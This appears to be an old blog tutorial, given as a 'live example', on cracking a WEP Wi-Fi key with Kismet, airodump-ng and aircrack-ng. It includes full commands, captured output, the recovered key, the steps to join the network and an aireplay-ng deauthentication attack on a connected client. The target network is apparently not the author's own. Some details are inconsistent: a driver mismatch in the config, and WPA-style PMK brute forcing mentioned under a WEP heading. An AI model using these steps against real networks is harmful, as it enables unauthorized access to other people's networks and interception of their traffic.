Here is a live example for cracking a wep password using Kismet and aircrack-ng.

My wifi card is(lspci output):

03:00.0 Network controller: Intel Corporation PRO/Wireless 4965 AG or AGN [Kedron] Network Connection (rev 61)

I use iwl4965 module.

After installing kismet you need to go to /etc/kismet.conf and add the following line:

source=ipw3945,wlan0,Intel

Next you need to discover the networks. Kismet should do the job.

Putting interface in monitor mode:

#ifconfig wlan0 down

#iwconfig wlan0 mode monitor

#kismet

After that we analize the kismet logs:

 

# cat Kismet-Feb-19-2009-1.network

Network 1: "dlink" BSSID: "00:22:B0:XX:XX:XX"

Type : infrastructure

Carrier : 802.11b

Info : "None"

Channel : 01

Encryption : "WEP "

Maxrate : 0.0

LLC : 1859

Data : 853

Crypt : 853

Weak : 0

Dupe IV : 677

Total : 2712

First : "Thu Feb 19 20:08:25 2009"

Last : "Thu Feb 19 20:27:28 2009"

Min Loc: Lat 90.000000 Lon 180.000000 Alt 0.000000 Spd 0.000000

Max Loc: Lat -90.000000 Lon -180.000000 Alt 0.000000 Spd 0.000000

So we see that this netwok use WEP Encryption and runs on channel 01. Good.

Next we need to sniff all traffic of the dlink wich runs on channel 1:

#airodump-ng --channel 01 --bssid 00:22:B0:XX:XX:XX --write dlink wlan0

 

CH  1 ][ Elapsed: 2 hours 48 mins ][ 2009-02-21 22:26

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:22:B0:XX:XX:XX  209 100    98884    15311    0   1  54. WEP  WEP         dlink

BSSID              STATION            PWR   Rate  Lost  Packets  Probes

00:22:B0:XX:XX:XX  00:21:63:XX:XX:XX  187  54-54     0    33135
^C
#

 

Experience shows that you will need to capture around 50,000 to 200,000 IVs in order to crack a 64 bit WEP key and for a 128 bit key, you will need around 200,000 to 700,000 IVs!

Next we start to crack the dump file:

# cp dlink-01.cap x.cap ; aircrack-ng x.cap

Opening x.cap

Read 172790 packets.

# BSSID ESSID Encryption

1 00:22:B0:XX:XX:XX dlink WEP (15176 IVs)

Choosing first network as target.

Opening x.cap

Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 15176 ivs.

Aircrack-ng 1.0 beta1

[00:00:20] Tested 117 keys (got 15176 IVs)

KB depth byte(vote)

0 1/ 2 AB(22016) 9C(20480) F7(20224) 58(19712) 87(19712) BA(19456) FB(19200)

1 2/ 3 CD(20736) 1B(20224) D8(20224) 4C(19968) B4(19712) EB(19712) 11(18944)

2 0/ 5 EF(20736) 3E(20480) 6F(20480) 10(20224) 2F(20224) EF(19712) 16(19456)

3 1/ 4 43(20736) 67(20480) 80(20480) 2C(19456) 5A(19456) 22(19200) B7(18944)

4 0/ 1 77(25088) C1(22528) 72(20736) 07(20480) BB(20480) 08(19200) 3F(19200)

KEY FOUND! [ AB:CD:EF:11:22 ]

Decrypted correctly: 100%

 

Now to put the wifi in managed mode:

ifconfig wlan0 down

iwconfig wlan0 mode managed essid dlink ap 00:22:B0:XX:XX:XX enc "ABCDEF1122"

dhclient wlan0

WEP Attacks

Deauthentication Attack

This is a simple and very effective attack. We just force the connected client to disconnect then we capture the re-connect and authentication, saves time so we don't have to wait for the client to do it themselves (a tad less "waiting outside in the car" creepiness as well). With airodump running in another console, your attack will look something like this:
aireplay-ng -0 5 -a <AP MAC> -c <Client MAC> wlan0

In our example:

aireplay-ng -0 5 -a 00:22:B0:XX:XX:XX -c 00:21:63:XX:XX:XX  wlan0

After a few seconds the re-authentication should be complete and we can attempt to Dictionary Brute Force the PMK.

Note: We use Hosting and VPS Hosting, from: www.star-host.org We like and trust them. Good prices, high security.